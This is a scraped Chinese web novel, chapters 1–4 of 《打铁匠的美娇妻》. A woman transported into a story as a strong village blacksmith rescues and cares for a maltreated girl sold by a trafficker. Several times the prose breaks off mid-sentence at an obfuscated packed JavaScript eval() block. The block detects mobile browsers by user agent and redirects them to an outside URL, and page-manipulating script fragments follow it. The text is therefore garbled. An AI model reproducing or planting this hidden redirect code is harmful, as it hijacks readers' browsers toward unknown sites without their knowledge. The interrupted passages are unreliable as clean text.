《打铁匠的美娇妻》 1. 第 1 章 晌午,清水镇正是人声鼎沸的时候,屋内的江浔抬起一只手,痛苦地揉着自己的太阳穴,另一只手去摸手机,想看现在几点了,为什么这么吵。 这一摸,没摸到手机不说,还摸到锋利的碎片。 要不是她手糙,恐怕就要见血了。 ……她手糙? 她手虽然没怎么保养,但也很少做家务,根本不可能谈的上糙。 江浔直觉不对,猛地睁开眼,入目是铺着瓦片的土屋土房,周围的各种用具也是有些年头的模样。 她躺在院子中,身旁碎了一个瓷碗,土地上洒了一滩蘑菇汤? 就在江浔还搞不清楚现在是什么情况时,土屋的门被“砰砰砰”敲响,来人跟催命似的,边拍边大声喊道:“浔姐儿,浔姐儿,我有天大的好事要说与你听,快开门!” 浔姐儿? 是在叫她吗? 江浔撑起身,站在原地来回看了一下,才弄清楚方向。 她所面对的方向应该是卧室,而她身后的一个房子,才是被敲响门的地方。 转身,走进房子中,热气扑面而来。 屋子中放着一个燃着橙红火光的大火炉,周围摆放着许多铁质用品。 一眼就能看出来这里是打铁的地方。 她怎么会在这里? 心中有再多疑虑,江浔都没有表现出来,而是走到屋门处,打开房门。 入目是青石板铺成的街,街上各个午食铺子里都坐满了人,店小二热火朝天地招呼着。小商小贩们也挑着扁担,走街串巷叫卖着自己的东西。 有的是甜滋滋的糕点、糖葫芦,有的是农家里时兴的蔬菜、瓜果。 大家脸上都洋溢着笑容,一副欣欣向荣的模样。 但让江浔感到震惊的是,他们所有人都穿的是古代服饰。 就连自己面前这个,右边鼻翼旁法令纹处有颗硕大媒婆痣的人也是这样。 对方手中拿着的大红色方帕往她肩上一甩,吊梢眼上下打量过她,脸上才堆满笑意,大声道:“哎呀哎呀!浔姐儿你可算出来了,你可得好好感谢我,我可是为你寻了门好亲事!” 她嗓门大,一下就吸引来街上其他人的注意。 这铁匠铺的浔姐儿谁不认识啊! 那可是膀大腰圆,力比武松的主! 偏生她长了这副模样,却不自量力要和豆腐西施比美,可让大家看了些笑话。 此时听见杜媒人的话,大家悄悄竖起耳朵,想听听又有什么笑话出现。 在铁匠铺隔壁的豆腐铺买东西的路人,也都慢下速度,悄摸观望着。 要知道刚才杜媒人才在豆腐铺里,喜气洋洋的告诉宋月柔宋老板自己为她寻到一门好亲事。 是镇东头李家的李童生呢。 没想到这一转头,她又来给江浔说亲了。 江浔皱着眉,不搭话。 杜媒人一点不尴尬,自说自话道:“你可偷着乐吧!我给你说的是镇东卖鱼的王家!那王家卖鱼可能挣不少钱呢,他家又只有他一个,你嫁过去可是当家主母!” 江浔偷没偷着乐,大家不知道。 大家只知道自己是偷着乐了。 所有人都默默偏过头,用衣袖挡住半张脸,噗嗤笑出声来。 杜媒人介绍的居然是住李童生隔壁的王鳏夫! 说她不是故意的谁信啊? 还什么当家主母,江浔不赔上自己嫁妆都是好的! 听到卖鱼的王家,江浔大脑犄角旮旯里的记忆涌现出来,居然是她才看完的小说中的人物! 那是一本古代经营打脸对照组文! 因着里面被女主当对照组打脸的女配,也叫江浔,她才看完整本文,想知道这个同名同姓的女配到底是个什么下场。 哪想,居然真跟其他人说的一样,同名同姓是会穿书的! 而现在的剧情已经到了媒人给她介绍鳏夫,而她赌气答应的时候了。 看见周围所有人,都用看好戏的目光看着她,江浔脸色立马沉了下来。 或许这些人都只是当个八卦来看,但对于无父无母无依无靠的女配来说,这就是场盛大的霸凌。 不是都说女配膀大腰圆,粗鄙不堪吗? 那她今天就粗鄙一回! 江浔撸起袖子,亮出蒲扇那么大的巴掌,比在杜媒人脸面前,笑得阴恻恻道:“杜媒人,您再不走,我这蒲扇大的巴掌可就要落您脸上了。” 说着,还扬起手臂,作势要打下! 杜媒人被吓得倒吸口凉气,朝后退一步,被台阶绊到,差点就一屁股坐地上去了。 今、今日这江浔是怎么了?平日里不是怕大家以为她粗俗,说话都细声细气吗? 怎么今日这么凶残了? 江浔跨过台阶从屋子中走出去,顺手扯起离得最近的,一个男子的衣领。 竟是硬生生拎起来了! 吓得大家退避三舍,不知道她在发什么疯。 江浔扫视着围满她铁铺的人,声如洪钟道:“怎么?大家围在我铁铺面前,是想打铁啊?还是被打成铁啊!?” 说罢,再次扬起那蒲扇大的巴掌,作势要落在她拎着的男人脸上。 那男人哪见过这阵仗? 被吓得头一缩,惊恐大叫道:“你打杜媒人啊!你打我干嘛啊!姑奶奶别打脸!” 周围的人脑袋也是齐齐一缩,巴掌没落在他们身上,但感觉已经被打到了! 太吓人了,平时这江浔有那么恐怖吗!? 就说她力比武松吧!连一个成年男子都能拎起! 最后,江浔的巴掌当然没落下,而是把这小男人甩向杜媒人。 让那两人抱做一团,踉跄滚倒。 把媒人连同其他围观的人全部赶走,江浔才“嘭”一声关上门,坐在板凳上大口大口喘着气。 她其实也挺怕那些人群起而殴之,但幸好没有。 背上被火炉炙烤出满背热汗,透湿的衣服黏在身上极不舒服,她一边用手扇风,一边往院子中走,打算先擦洗一番。 原主是个不善家务事的人。 煮个蘑菇汤,结果蘑菇有毒还没熟,把自己给吃死了,这才换了她来顶替。 当然,江浔也是个不擅长家务的,平时吃饭就便利店或者快餐店随便对付。 也不讲究。 现在,她满院满屋地转着,好不容易找出一个大锅,放在灶上准备烧水。 却发现自己不会生火。 扣扣脑袋,搞得满脸灰之后,终于是用火折子把火生起来了。 就是有点呛人,黑烟不断。 水烧上,她想找点吃的,毕竟是午饭时间,原主才吃一口就倒了。 胃里根本没东西。 又翻遍整个屋子,终于是在打铁的火炉旁,发现快烤焦的烘糕。 原主放东西没有个定数,什么东西随手一拿再随手一放,事后自己都记不清东西去哪儿了。 唯一要说整齐一点的地方,就是她的铁匠铺了,其余地方全是一个样的乱! 江浔本人也不遑多让,工作忙起来时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805892|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于生活上的事,也是处理得乱糟糟的。 把烘糕烤焦的部分掰掉,这才把剩下不足巴掌大的东西,团巴团巴往嘴里塞。 一口就吃没了。 不多时,水烧好,她又满屋子找浴桶或浴盆,结果发现找不到。 她连浴室在哪里都找不到。 最后只得随便拿一个盆,舀水,站在厕所前的空地处往身上浇。 头一次在露天坝里洗澡,江浔还是有点小羞涩的。 只用几分钟把自己洗干净,就换上干净衣服,站在院子里松了口气。 兵荒马乱后是难得的平静时光,此时的她心中才涌起丝怅然。 虽然她在现代社会成天忙于工作,没有休息娱乐的时间,但也不至于让她穿越古代,彻底断送她可能会有的美好生活吧! 还是穿书!还是对照组! 她不想时时刻刻都和别人比较,做好自己就行了,搞那么多幺蛾子干嘛! 不过老天奶对她还是很好的,让原主给她留了二十两银子的巨款,不至于太拮据。 晚上做饭时,又是一阵兵荒马乱,她做的时候才发现整个家里只有盐,没有其他调味料。 盐她还放多了,齁咸,只能咬着牙吃下去。 过了几天混乱生活后,江浔终于适应了一点,三餐都在外面吃,绝不自己浪费食材。 吃饱后,就开始完成打铁的单子。 大到锄头,小到绣花针,只要是铁制品,她都能打。 起初她手生,打出来的东西都不太好,逐渐熟练后再加上原主的记忆,她也能打出完美的物品来了。 江浔脸上带着笑容,打铁虽然费力气,但却是个精细活,她每成功打出一样新东西,就会觉得满足,就会觉得很有成就感。 又是一天过后,清水镇迎来赶集日,江浔拿着原主挣的钱和自己挣的钱,开始在镇子上逛着。 清水镇每逢五、十便为赶集日,每当这个时候镇上就会有很多人。 有的是平时不常出门的妇人,有的是周围乡里来的村民。 江浔在镇上东看看西瞧瞧,对所有东西的价位都不确定,打定主意要先看,看明白了再买。 这样不会被坑。 走着走着,她走到有些偏的镇南了,这边人一下子少了很多,只有零星几个汉子,站在一个笼子前讨价还价。 离得近了,江浔才发现笼子里关着的是一个蜷缩的人。 那人一双杏眼,明明该是很好看的模样,但黑色瞳孔里却没有光。 脏污又凌乱的头发盖住了她的脸,让她变得更加死气沉沉,仿佛下一秒就会咽气。 而那几个汉子,正在和站在笼子后的一个老妇道:“再少点,你这女娃浑身是伤,腿也不行,谁知道买回去是死是活?” 人伢子老妇不满,撇撇嘴,脸皱起显得满脸皱纹更加深,“你不要乱说话,这娃儿好得很,你买回去给口饭吃,保管活蹦乱跳。” “而且你要晓得,一般女娃儿阔不是这个价格。” “她就是脚坏了,又不是不能生养了。” 江浔:…… 他们是在买卖妇女儿童! 虽然知道,古代有奴隶、贱籍、人命不值钱这种说法。 但第一次在光天化日之下见到,还是让江浔心中震颤不已,一时有些无法接受。 况且,那一看就是个可能不足十五岁的小女孩,就要这样被那群人买回家,开始怀孕生孩子吗? 想到有这种可能,江浔大步上前,毫不客气把那汉子给掀飞! 2. 第 2 章 “起开!”江浔口中蕴含着隐隐愤怒,大力把那汉子给掀飞! 那讨价还价的汉子还没反应过来什么事,身体就猛地失重,低空飞行一段后,轰然倒在地上。 捂住自己的屁股哎呦哎呦叫着。 “你谁啊!怎么打人呢!!” “哪里来的粗鄙妇人,滚滚滚,当心我们揍你!” 那汉子的同伴见状,立马指着江浔就开始谴责。 而江浔呢? 她有点被自己的力气吓到。 之前能轻松拎起一个成年男性,她还以为是那个男性长得矮小的原因。 今天这个可是个高壮的成年男性啊! 没想到她还是拎的起来! 不过想来也是,那么重的打铁锤,她能使得虎虎生威,拎几个男性不算什么。 想明白后,她又对着汉子的同伴怒目而视,沉声道:“你们还要不要脸?正经路娶不到妻,你们就走歪路子是吧!?你们怎么不多找找自己是什么原因没人嫁的?” “那小姑娘多小啊!都能叫你爹了,你还要不要脸啊!?这么小都能祸害?” “还想要传宗接代?我看怕不是你不孕不育才没人嫁的吧!” 一套丝滑连招下来,直接把这三个汉子给说懵了,瞪着眼看她,半天反应不过来。 他们最大的也才到弱冠之年,哪能生出一个那么大的女儿!? 他们不就是穷了点,才想着说便宜买个妻吗? 要是不穷,谁不想娶个正经人家的姑娘? 这些汉子们不说话,江浔身后的人伢子不高兴了,推了她一把,道:“哪里来的泼妇?我们这是正经买卖,这女娃卖身契都在我这里,你不要多管闲事!” 江浔当然是没被推动的,她转身又瞪着这人伢子,目露凶光,一看就不好惹。 人伢子哪能想到她这么凶,也被吓住,但还是强撑着和她对视。 “你、你别挡着我做生意的不然、不然我就报官!” 她又不是强抢良家妇女,是这女娃家主动把人卖给她的,到官府面前也是她占理。 听到她说报官,江浔眉头深深皱起,也觉得这件事颇为不好处理。 于私,她是不想眼睁睁看着一个小姑娘落入火坑的。 于公,这个世界就是这样,她也没办法改变。 想了又想,她大手往笼子上一拍!气势十足道:“多少钱?我买!” 人伢子脸上一喜,早说啊,早说大家就和和气气商量着来呗。 她故作沉吟,比出两根手指,道:“至少这个数。” 江浔:“二两?” 人伢子堆满笑,“那哪儿能啊,得要二十两!这女娃什么都会,洗衣做饭、操持家务,长的也水灵,你要是养好了再出手,都不止这个价!” 江浔:“……” 江浔本来渐消的怒火蹭就起来了,手从笼子上拿开,拎起人伢子的领子,凑近了问,“你说什么?” 人伢子本就身形瘦弱,毫不费力就被拎了起来,她双手惊恐的抓住江浔的手腕,眼神乱瞄,瞄到笼子顶上居然有一个凹陷三分的巴掌印。 天呢!这人力气怎么这么大! 人伢子赶紧改口道:“十两!只要十两!最便宜了,亏本价了!我买来都不是这个价!” 十两? 这个价好像还行,江浔又狠狠瞪了这人一眼,才把人给甩开,从自己荷包里摸出一把银子。 凭着手感,她觉得十两不到,最多只有九两多。 她把银子扔给那人伢子,语气依旧不好,“钥匙和卖身契拿来!” 人伢子手忙脚乱接住银子,还拿秤称了一下,是少了点,但少的不多,她也没敢说什么,把卖身契和钥匙递给江浔后。 直接拿着银子离开。 江浔身后的三个汉子看自己看好的人,就这么被截胡,都有些气愤,还想说什么。 可江浔又一巴掌拍在笼子上,凶声凶气道:“还不滚?” 三汉子看着铁笼子上又是一个巴掌印,冷汗都流了满背。 这手劲儿,感觉能把他们捏死! “算、算了!兄弟们不和你计较!走!” 说完毫无气势的话,三人一溜烟跑远! 见四下无人后,江浔才把小姑娘的卖身契揣在怀里,又用钥匙把铁笼子打开。 铁笼子很小,小姑娘蜷缩在里面,连活动都不方便。 知道对方身上有伤,她小心翼翼把人抱出来。 这小姑娘实在是太过瘦小,只剩一把皮包骨头,小脸黢黑,一双眼睛还算漂亮,只是眼中没有光,全是麻木。 她把人抱在怀中,就想这么回去。 走出几步后,又觉得不合算,转身把铁笼子也拉上,才开始往回走。 铁笼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805893|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子下面有个木推车,正好方便她拉动。 越往回走,街上人就越多,他们隐晦地打量着江浔怀中的人,对两人指指点点。 小姑娘似乎能感知到周围的一切,身子缩瑟,脑袋往江浔怀中躲了一下。 “乖,我们马上就到了。”江浔安慰着,脚下步伐加快。 路过豆腐铺时,好多在买豆腐的人都好奇地望着她,在讨论她又买了个什么东西。 豆腐西施宋月柔抬头看一眼,便低下头,雪白手指把耳边的发往耳后撩,轻声道:“可能又乱花钱了吧,大家不要说她。” 她一出声,周围人说得更起劲儿了,话里话外都在指责江浔乱花钱。 仿佛花的是他们的钱一样! 而江浔是不知道这些的,她走进自己的打铁铺后,把铁笼子放在屋子中,转身,单手抱住怀中小姑娘。 另一只手“砰!”把门关上。 “没事了没事了,他们都看不见了。” 她手摸摸小姑娘的头发,虽然有些脏乱,但她不嫌弃。 进到院子中后,江浔本想让小姑娘坐在板凳上,等她烧好水,给她洗澡。 可她刚把小姑娘放下,小姑娘的双臂就缠住她的脖子。 “乖,你先坐一会儿,我去给你烧水洗澡……就是沐浴的意思。” “咱们洗得干干净净,穿新衣服好不好?” 小姑娘没什么反应,只是手臂抱得更紧了。 这可怎么办? 江浔思索几秒,抬手想要强行把小姑娘的手臂拿开,可小姑娘手臂太细,她怕自己力气太大伤到对方。 只能小心翼翼,一点一点用力。 “呜。”小姑娘眸子颤了一下,目光看向江浔。 明明是麻木的、没有光的眸子,江浔却能从里面看出一丝委屈,仿佛她拉开她的话,她就又被抛弃了一次。 江浔心中生出怜惜之意,到底还是心软道:“好好好,抱着抱着,一直抱着。” 她又单手把小姑娘抱在怀中,另一只手又是拎锅上灶,又是打水烧水的。 饶是她力气再大,浑身也被累出薄汗。 结果到水烧好,江浔想给人脱衣服时,却被对方给推开了。 小姑娘一双黑漆漆的眸子看着她,手捏住自己破破烂烂衣衫的领子。 仿佛她是什么登徒子一般。 江浔:……? 3. 第 3 章 看着小姑娘捂着胸口怯弱的模样,江浔也知道她是害怕,便声音温柔道:“我要给你沐浴,沐浴是要脱衣服的,明白吗?” 小姑娘不明白,小姑娘甚至连点反应都没有,只呆呆地看着她。 江浔痛苦扶额,一时之间不知道该怎么办。 这小姑娘变成有些痴傻的模样,想来也是受过很多苦的,她应该再耐心一点。 她又开始抱着这个小姑娘忙前忙后,把热水舀进木桶之中,再加些冷水,让水温变温。 之后她一只手臂穿过两条板凳下方,把板凳拎起来,放在木桶旁,她坐后面那个板凳,小姑娘坐前面那个。 两人距离靠得很近,小姑娘还是不愿意从她怀中离开,上半身都是靠在她怀里的。 脑袋侧着,贴在她胸口处。 她把对方破破烂烂的裤脚给挽起来,由于这人太瘦了些,只有一把骨头,连点肉都没有,裤脚直接挽到了大腿处,都还有空隙。 让江浔看的心疼极了。 果然在任何时代,女性都是受磋磨的。 细腿上有很多大大小小的擦伤,膝盖上还有一大片乌黑,乌黑最中心是红丨肿的。 应该是之前磕到什么东西造成的,磕到后又没人给她医治,只能等伤口自己慢慢恢复,结果就成了现在这副到好不好的可怖模样。 江浔用手撩水,浇在那脏兮兮的细腿之上。 水温适中,小小的身体只是略微抖了一下,便不再动弹,乖乖让她洗。 确实有点脏过头了,恐怕被人伢子关起来后,就再也没有清洗过。 把自己手和对方腿都用皂角打上泡沫,手都搓出火星子了,才勉强能看见小姑娘本来的肤色。 挺白的,比她白许多。 看起来细皮嫩肉的,打消了江浔想用刷子搓的想法! 在搓另一条腿时,她发现小姑娘的脚有问题。 从整只脚从脚踝处不自然地扭着,明显就是折断了的模样,脚踝处的骨头异常凸出。 看的江浔有些起鸡皮疙瘩,感觉对方的骨头就要刺破皮肤出来了。 怪不得说她是个跛脚,原来脚上的伤这么严重。 江浔下手的动作更加轻柔,用完一整桶水,才给小姑娘把两条黑黢黢的腿洗干净。 接着又是手臂、脸颊。 小姑娘倒是很配合,没有反抗。 脸洗干净后,江浔才看出小姑娘其实长得挺好看的,一双大大的如葡萄似的杏眼,眼尾略微上挑,带点狐狸眼的味道。 要不是小姑娘一副呆呆的模样,这应该是极聪明的长相。 鼻尖小巧挺翘,嘴唇也是饱满的,小脸削尖,鹅蛋脸都瘦成瓜子脸了,还只有巴掌大。 一看就是个小孩。 江浔露出一点笑,捏了捏对方的脸颊,却没捏到什么肉。 得喂胖些,手感才好。 到洗小姑娘身子时,江浔又遇到阻碍了。 对方紧紧护住自己,依旧不愿意让她脱衣服。 没办法,她只好另辟蹊径,抱着人去找了块干净帕子,打湿打上泡沫,伸进衣服中,去给人擦背。 帕子刚碰到背,怀中的人就缩瑟一下,身体也开始挣扎起来,口中发出呜咽声。 “怎么了?” 江浔有些不明所以,低头去看小姑娘的神情,发现对方白色齿贝把下唇咬红,眼中出现水雾,泪珠挂在眼眶边,欲落不落。 可怜极了。 “怎么了?姐姐弄疼你了?”江浔赶紧收回动作,有些手足无措,“别哭,我轻一点。” 她用手背轻蹭去对方的泪珠,可她的动作就像是打开了什么开关一样,惹的小姑娘眼泪跟断线的珠子般,啪嗒啪嗒往下落,怎么都止不住。 看到人哭,江浔只觉得又心疼又头大,只好捧着一张巴掌大的小脸安慰了好一会儿,对方才渐渐止住眼泪。 眼眶跟兔子一样红了一圈,鼻尖也是红的,薄薄的皮肤也是红的。 双眼就那么直愣愣看着江浔,就让江浔心软得一塌糊涂。 “我看看,是受伤了吗?” 江浔动作更加小心地撩开小姑娘背部的衣服,说是衣服也算是美化了,其实就是一块薄薄的破布,只是刚好能遮住小姑娘的身体罢了。 衣服撩开,伤痕遍布的背出现在她眼前,每一道伤痕都皮开肉绽,露出森森白骨,由于太久没有处理,还开始化脓腐烂了。 看见她伤这么严重,江浔满目震惊。 那还洗什么澡啊,得赶紧去医馆! 用力把人抱起,在院子里来回踱步几下,理智才逐渐回归,从屋里拿出一件自己的外衣,把人包裹住,这才带着人急匆匆赶向医馆。 医馆离得很近,就在一条街上。 她冲进医馆后,赶忙让大夫给瞧瞧,大夫见小姑娘身上的伤那么严重,边说着作孽啊,边把她们引进内屋。 那些化脓腐烂的伤口都需要把腐肉切掉,再把脓水挤出,而跛了的脚因为太久没处理,骨头都连在一起了,需要把骨头打断掰正重新生长。 江浔听得心惊肉跳,急忙道:“她恐怕再经受不住折腾了,有什么温和的法子吗?” 大夫以为她是不想医治,瞪她一眼,没好气道:“找块布把人一裹,死了扔乱葬岗去,就没那么多罪受了!” “……”大夫都这样说了,江浔只好道:“治治治,我们治!” 好在大夫也没有那么狠心,又道:“背上的伤口必须现在处理,脚可以等身体养起来了再来,但也要尽快,拖得越久越不会好。” 话罢,大夫让自己的药童去准备刮骨刀等一系列需要用的东西。 一切准备就绪,大夫递给江浔用酒混匀的麻沸散,让她喂小姑娘喝下。 小姑娘怎么哄都没有反应,不得已江浔只能强给人灌下去。 等麻沸散药效起来后,大夫才开始刮腐肉,挤脓水。 整整耗费半个时辰左右,才做完这一切,开始给小姑娘清洗伤口、上药、包扎。 等弄完,小姑娘已经被裹的跟粽子一样了。 大夫:“我再给你开几副内服、外敷的药,切记不要搞混,半夜她可能会高热,你多照顾着点。” 江浔连忙感谢道:“谢谢大夫,真是麻烦你了!诊费多少我拿给您。” 那大夫却摆摆手道:“都是邻里街坊的,不说这些,你只要给我打东西的时候,精细些就成。” 她的医馆中经常要用到针或刀械一类的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805894|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只要这打铁娘子能给自己精细点做,她就满足了。 “好!”江浔立马答应下来,“您尽管来找我做,我保管让您满意!” 有她这句话,大夫开始撵人了,“走吧走吧,快回去照顾好你的小妹。” 江浔又着急忙慌把小姑娘给抱回家,放在床上,让人好生休养。 麻沸散的药劲儿正在逐渐过去,小姑娘的眼神一会儿清明一会儿迷茫,但终于不再似之前那么麻木。 她眼珠子跟着江浔的动作转动,看着江浔给她又是垫枕头,又是掖被子的。 直到江浔要离开时,她才轻微出声,用手拉了拉对方。 她手根本没用力,但江浔还是猛地停顿下来,看向她。 “你还好吗?疼吗?我给你喂点缓解疼痛的东西?” 身体还不受控制,小姑娘用了很大的劲儿,头才勉强晃动,表示不用,同时声音又哑又小道:“阿、阿雅,阿雅。” “阿雅?”江浔思考一会儿,问道:“你叫阿雅?” 小姑娘,也就是阿雅勉强点点头,耗费了才蓄积起来的全部力气。 她拉出江浔的手垂下,指尖还在颤抖。 江浔一把抓住她的手,就往被子里塞,“我叫江浔。阿雅你好好休息,最好是睡一觉,别担心我会照顾你的。我现在去熬药。” 说完江浔自觉交代清楚,就想要离开,但走一步后,她又转身回来。 继续道:“我还要沐浴,你知道沐浴的意思吗?就是用水和皂角洁净身体。” “是需要像这样脱衣服的。” 说着,她开始脱自己外衣。 略微小麦色的臂膀露了出来,上面没有一丝赘肉,而是精瘦有形的肌肉。 动作间,力量感扑面而来。 现在正是酷暑时节,她外衣里穿的是白色无袖坎肩形式的一件中衣,中衣里还有胸衣。 所以对于她来说,就根本是正常的夏季着装。 但阿雅视线没敢在江浔的臂膀上停留,只匆匆扫几眼,就垂下眼眸。 江浔还在继续说着话,“等你伤好了,就要沐浴,把自己洗得干干净净的好吗?再换一套衣服,和我一起生活。不要抗拒和排斥,你已经脱离以前的生活了。” “对了,这个是你的卖身契,我把它给你,你想怎么处理都行。” 江浔把夹在外衣中的卖身契取出,压在阿雅的枕头下,好让阿雅安心。 好让阿雅意识到,她不再是被人随意买卖的商品。 交代完,江浔才抱着自己血糊拉撒的衣服往外走。 在医馆处理伤口时,阿雅都不愿意离开她的怀抱,她就只好一直抱着。 难免会沾染上鲜血。 到院子中后,江浔架起一口锅开始熬药。 而另一口锅中剩的水,已经凉了,不过在夏季凉水洗澡也没什么问题。 江浔把水倒进木桶之中,站在厕所旁的空地处,开始冲着自己的身体。 而屋内的阿雅,没有着急去看自己的卖身契,而是把烫红的脸颊缩进被子里。 她总觉得自己晕乎乎的,脑海中一直出现那小麦色的有力手臂。 醉、醉酒了吧。 不然怎么会一直想! 4. 第 4 章 随意冲完澡,江浔边守着锅等药煮好,边撑着脸思考自己是不是应该买一个药罐? 阿雅的药不止吃三五天,以后医治跛脚的时候估计还要吃药,所以一个药罐是必须的。 还有今天她本来想买一个浴桶,再买些家里用的器具,哪想遇见了阿雅就没买成。 现在午时都过了许久,外面早就不热闹了,好多小商贩早已经收拾东西离开。 只能等下个赶集日再买了。 索性清水镇的赶集日不少,五天一小集十天一大集的。 思考到这里,江浔扇了扇火,又继续想到,买阿雅的钱她是不是给多了? 平日里镇上买些东西最贵都才一两出头,买个人居然要十两吗? 不过她实在是对古代的物价不怎么了解,多了少了根本把握不准,想一会儿后她暗自决定,下次买东西砍价砍狠一点,绝对不能买贵了! 药差不多熬好,江浔灭了火,站起身走到院子中拍拍身上的灶灰,穿上干净的外衣后走出打铁铺,到街对面去买吃食。 街对面的铺子有好几家都卖吃食,她可没忘记要给阿雅补身体,买的食物都是肉馅儿的。一大一小两碗猪肉馅抄手,两个牛肉馅煎饼,总共花去三十八文。 等待店家做好时,江浔给对方交代自己要去买其他东西,买完回来端。 店家当然同意。 离开这条街后,江浔走入卖锅碗瓢盆和一些干货的街,选定一家看起来不错的店后,她进去问道:“掌柜的,有药罐卖吗?” 这家店就是卖用具的,当然有,柜台后的掌柜指指店中的一处地方,示意她就在那里。 江浔走过去仔细瞧着上面摆放的药罐,都是瓦罐、砂锅一类的。 看起来土土的,质量不太好的样子。 她直接问道:“你们店最好的药罐呢?” 说到这个,掌柜的脸上立马就带了点笑,“哎!我这就去拿,劳烦稍等一下。” 不一会儿掌柜就从里屋抱出一个不算太大,但略微沉重的药罐。 他抱着药罐走到江浔身旁,把上面的纸拿开,让江浔能更好看见药罐的模样与成色。 “上好的紫砂煎药罐,不仅不会影响药效,还能激发药效,使汤药发挥出最大的功效。” “平时不煎药,用来熬汤也是一绝,鲜香味儿俱全。” 那就是一个朴素的紫砂壶,通体成暗红色,无花纹,外表有釉,摸起来光滑细腻,确实比外面那些罐子看起来好些。 “这个多少钱?” 掌柜见江浔还真想买,脸上笑容更盛,一副真心实意道:“看你不常来,我给你便宜点当交个朋友,九百文你拿走,千万别给别人透露,这可是最低价。” 才决定绝对不能买贵的江浔,对这个价格当然是不满意的,她张口道:“便宜点,三百文怎么样?” 她不仅对半砍,还砍了又砍,直接把九百文的东西砍成三百文。 搞的掌柜当即变了脸色,一把抢回自己的紫砂罐,另一只手去推江浔,大声道:“走走走,我不卖了!” “诶……” 这反应是江浔没想到的,怎么一下连生意都不做了?砍多了? 猜到可能真是自己砍多了,被赶出店外的江浔尴尬地摸着自己鼻子,又道:“那你真诚点,什么价能卖?说个实在的!” 掌柜:“八百,不能再低了!” 行呗,八百也行,好歹便宜了一点。 江浔付钱,掌柜用麻绳在罐子上来回缠绕几圈,就能让她拎着走了。 回到青石板街上,她先是拿上煎饼,再一手端一碗抄手,才回到自己打铁铺中。 进入院子时,她发现原本让好好休息的阿雅,居然站在院子中拿着扫帚打扫院子。 她的院子确实很乱,土灰积起厚厚一层,什么竹竿、木棍、柴火、铁块都是乱放的,衣服也随意搭在各处。 而现在,原本乱放的衣服全被放在木盆里,看起来似乎要洗。厚厚的土灰也被扫到撮箕里,让这个院子看起来整洁许多。 但着实把江浔吓一跳。 “你伤又没好,做这些干什么?快放下!” 她几步走到堂前,把手中的东西放在灶台上,就去拿阿雅手中的扫帚。 家里又不差个打扫卫生的,况且这人满身的伤,脚还是跛的,她又没有虐待伤者、小孩的爱好。 非要做这些干嘛? 看着江浔走过来,阿雅呆呆站在原地,不知该如何反应。 她做错了吗?又要挨打挨骂了吗? 阿雅的身体不受控制地颤抖起来,本还有些红润的脸色,霎时白了。 整个人摇摇欲坠。 她从前本也是个大户人家的小姐,但生身父母相继离世后,她就被继母磋磨,不仅要干着下人的活儿,吃穿用度甚至不及下人。 后来招惹到继母不快之后,继母对外宣称她溺亡,实际是打一顿发卖出去了。 在人伢子手上,她也是受尽苦楚,一根傲骨早就被折断,成为跌落尘埃之人。 她不能再想着从前的日子了,在这世上,只有谨小慎微委曲求全才能活下去。 手中扫帚被抢走后,阿雅嘴唇微抿,低着脑袋双膝朝地上一软,就想下跪。 口中说着早就被教过千百遍的话,“奴惊扰了夫人,请夫人责罚。” 如若她不这么说的话,就会招来一顿毒打。 “你干什么!” 江浔还有现代人的思维,看见有人朝自己下跪,第一反应是大呵一声朝旁边让开。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805895|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但她又突然想起阿雅腿上膝上还有伤,要是任人这么跪下去,肯定会变得更严重。 她硬生生止住想让开的身形,双臂直接把阿雅架住,轻轻松松就提起来了。 对方实在是太轻了,她总觉得还没有一个紫砂罐重。 “你又没做错什么,别跪我。” 可阿雅还想往下跪,并道:“夫人,奴惶恐,不配得夫人厚爱。” 无法,江浔只能把人往自己怀里抱,压着对方不得动弹。 语气严肃道:“好了,你跪我是想让我折寿吗?还有夫人这个叫法我也不喜欢,把我叫老了。你现在身上还有伤,要是因为做活儿而变得更加严重,我是不是还要为你花钱?” 她不喜欢同人过多纠缠,只喜欢一句话定夺。 尤其还是这种她认为对的事。 